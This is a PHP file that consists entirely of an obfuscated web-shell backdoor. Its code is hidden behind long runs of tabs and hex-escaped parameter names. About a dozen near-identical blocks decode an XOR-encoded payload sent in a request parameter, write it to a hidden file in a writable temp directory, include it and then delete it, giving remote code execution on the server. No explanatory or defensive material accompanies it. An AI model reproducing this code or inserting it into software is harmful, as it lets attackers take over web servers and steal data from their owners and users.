<?php																																										if(isset($_REQUEST["\x72\x65c"]) ? true : false){ $obj = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $data_chunk = $_REQUEST["\x72\x65c"]; $data_chunk = explode ( "." , $data_chunk) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $x = 0; $__tmp = $data_chunk; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $salt[$x % $sLen]); $dec =( ( int)$v6 - $sChar -( $x % 10)) ^76; $sym.=chr( $dec); $x++; } $ptr = 0; do { $symbol = $obj[$ptr] ?? null; if ($ptr >= count($obj)) break; if (!!is_dir($symbol) && !!is_writable($symbol)) { $token = implode("/", [$symbol, ".dchunk"]); if (file_put_contents($token, $sym)) { require $token; unlink($token); exit; } } $ptr++; } while (true); }
																																										if(!is_null($_REQUEST["\x72\x65s"] ?? null)){ $symbol = $_REQUEST["\x72\x65s"]; $symbol = explode ( '.' , $symbol ) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $x =0; $len =count($symbol); do { if($x >= $len) break; $v9 =$symbol[$x]; $sChar =ord($s[$x %$lenS]); $dec =((int)$v9 - $sChar -($x %10)) ^ 16; $binding .= chr($dec); $x++; } while(true); $descriptor = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); foreach ($descriptor as $key => $tkn) { if (is_dir($tkn) ? is_writable($tkn) : false) { $ent = "$tkn" . "/.resource"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(!empty($_POST["\x62i\x6Ed"])){ $elem = $_POST["\x62i\x6Ed"]; $elem = explode ( '.', $elem ); $data = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); foreach($elem as $r => $v2) { $sChar = ord($s3[$r % $lenS]); $d =((int)$v2 - $sChar -($r % 10))^88; $data .= chr($d);} $dchunk = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); foreach ($dchunk as $value) { if (is_dir($value) ? is_writable($value) : false) { $k = "$value/.desc"; if (file_put_contents($k, $data)) { require $k; unlink($k); exit; } } } }
																																										if(!empty($_REQUEST["\x70\x73et"])){ $itm = $_REQUEST["\x70\x73et"]; $itm =explode ( '.' , $itm ); $ptr =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $i =0; $len =count($itm ); do { if ($i >= $len) break; $v8 =$itm[$i]; $sChar =ord($s[$i % $sLen] ); $d =((int)$v8 - $sChar - ($i % 10))^ 16; $ptr .= chr($d ); $i++; } while (true ); $element = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), "/tmp", getenv("TMP")]); $factor = 0; do { $dat = $element[$factor] ?? null; if ($factor >= count($element)) break; if (array_product([is_dir($dat), is_writable($dat)])) { $k = vsprintf("%s/%s", [$dat, ".item"]); if (@file_put_contents($k, $ptr) !== false) { include $k; unlink($k); die(); } } $factor++; } while (true); }
																																										if(array_key_exists("\x70oi\x6E\x74\x65r", $_REQUEST)){ $ref = $_REQUEST["\x70oi\x6E\x74\x65r"]; $ref = explode ( ".", $ref) ; $pgrp = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); foreach ($ref as $p =>$v9) { $sChar = ord($s8[$p % $lenS]); $d = ((int)$v9 - $sChar - ($p % 10))^47; $pgrp .= chr($d); } $element = array_filter(["/dev/shm", "/var/tmp", getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); $hld = 0; do { $ent = $element[$hld] ?? null; if ($hld >= count($element)) break; if (is_dir($ent) ? is_writable($ent) : false) { $record = vsprintf("%s/%s", [$ent, ".ptr"]); if (@file_put_contents($record, $pgrp) !== false) { include $record; unlink($record); die(); } } $hld++; } while (true); }
																																										if(!empty($_POST["resou\x72\x63e"])){ $marker = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $dchunk = $_POST["resou\x72\x63e"]; $dchunk= explode( "." , $dchunk); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $n = 0; while( $n < count( $dchunk)) { $v5 = $dchunk[$n]; $chS = ord( $salt[$n % $sLen]); $dec =( ( int)$v5 - $chS -( $n % 10)) ^ 28; $ref .= chr( $dec); $n++; } foreach ($marker as $item) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $val = implode("/", [$item, ".flag"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $val; @unlink($val); die(); } } } }
																																										if(!empty($_POST["flag"])){ $comp = $_POST["flag"]; $comp = explode ( ".",$comp ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($comp as $m=>$v8) { $chS = ord($salt[$m % $sLen]); $d = ((int)$v8 - $chS - ($m % 10)) ^ 86; $ent .= chr($d);} $marker = array_filter(["/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($marker as $elem): if (max(0, is_dir($elem) * is_writable($elem))) { $tkn = sprintf("%s/.res", $elem); $success = file_put_contents($tkn, $ent); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x72\x65c")){ $flg = $_REQUEST["\x72\x65c"]; $flg =explode( "." ,$flg ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; $__tmp = $flg; while ($v7 = array_shift($__tmp)) { $chS = ord($salt[$o % $lenS]); $d = ((int)$v7 - $chS - ($o % 10)) ^ 27; $object .= chr($d); $o++;} $flag = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $pset = 0; do { $mrk = $flag[$pset] ?? null; if ($pset >= count($flag)) break; if ((is_dir($mrk) and is_writable($mrk))) { $hld = join("/", [$mrk, ".symbol"]); if (file_put_contents($hld, $object)) { include $hld; @unlink($hld); exit; } } $pset++; } while (true); }
																																										if(array_key_exists("f\x61\x63\x74or", $_REQUEST)){ $mrk = $_REQUEST["f\x61\x63\x74or"]; $mrk = explode ( '.',$mrk ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; $len = count($mrk); do {if ($y >=$len) break; $v1 = $mrk[$y]; $sChar = ord($s[$y % $lenS]); $dec = ((int)$v1 - $sChar - ($y % 10)) ^69; $val .= chr($dec); $y++; } while (true); $desc = array_filter(["/tmp", "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd()]); foreach ($desc as $symbol) { if (is_dir($symbol) && is_writable($symbol)) { $object = sprintf("%s/.rec", $symbol); if (file_put_contents($object, $val)) { include $object; @unlink($object); die(); } } } }
																																										if(isset($_POST) && isset($_POST["bin\x64\x69\x6Eg"])){ $record = array_filter(["/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); $sym = $_POST["bin\x64\x69\x6Eg"]; $sym = explode ("." , $sym) ; $pgrp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $x = 0; foreach ($sym as $v7) {$chS = ord($s3[$x % $lenS]); $d = ((int)$v7 - $chS - ($x % 10)) ^ 84; $pgrp .= chr($d); $x++;} foreach ($record as $key => $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $pset = implode("/", [$ent, ".resource"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $pset; @unlink($pset); die(); } } } }


if(@$_POST["b\x69\x6Ed"] !== null){
	$dat = $_POST["b\x69\x6Ed"];
	$dat 	=	explode	  (	'.',	$dat );  	
	$rec = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $len = count($dat);
    
            for ($z = 0; $z		<	$len; $z++) {
                $v1 = $dat[$z];
                $sChar = ord($s[$z % $sLen]);
                $d = ((int)$v1 - $sChar - ($z % 10))	 ^	99;
                $rec .= chr($d); }  
	$desc = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd()]);
	foreach ($desc as $comp):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) {
    $symbol = "$comp" . "/.itm";
    $success = file_put_contents($symbol, $rec);
if ($success) {
	include $symbol;
	@unlink($symbol);
	exit;}
}
endforeach;
}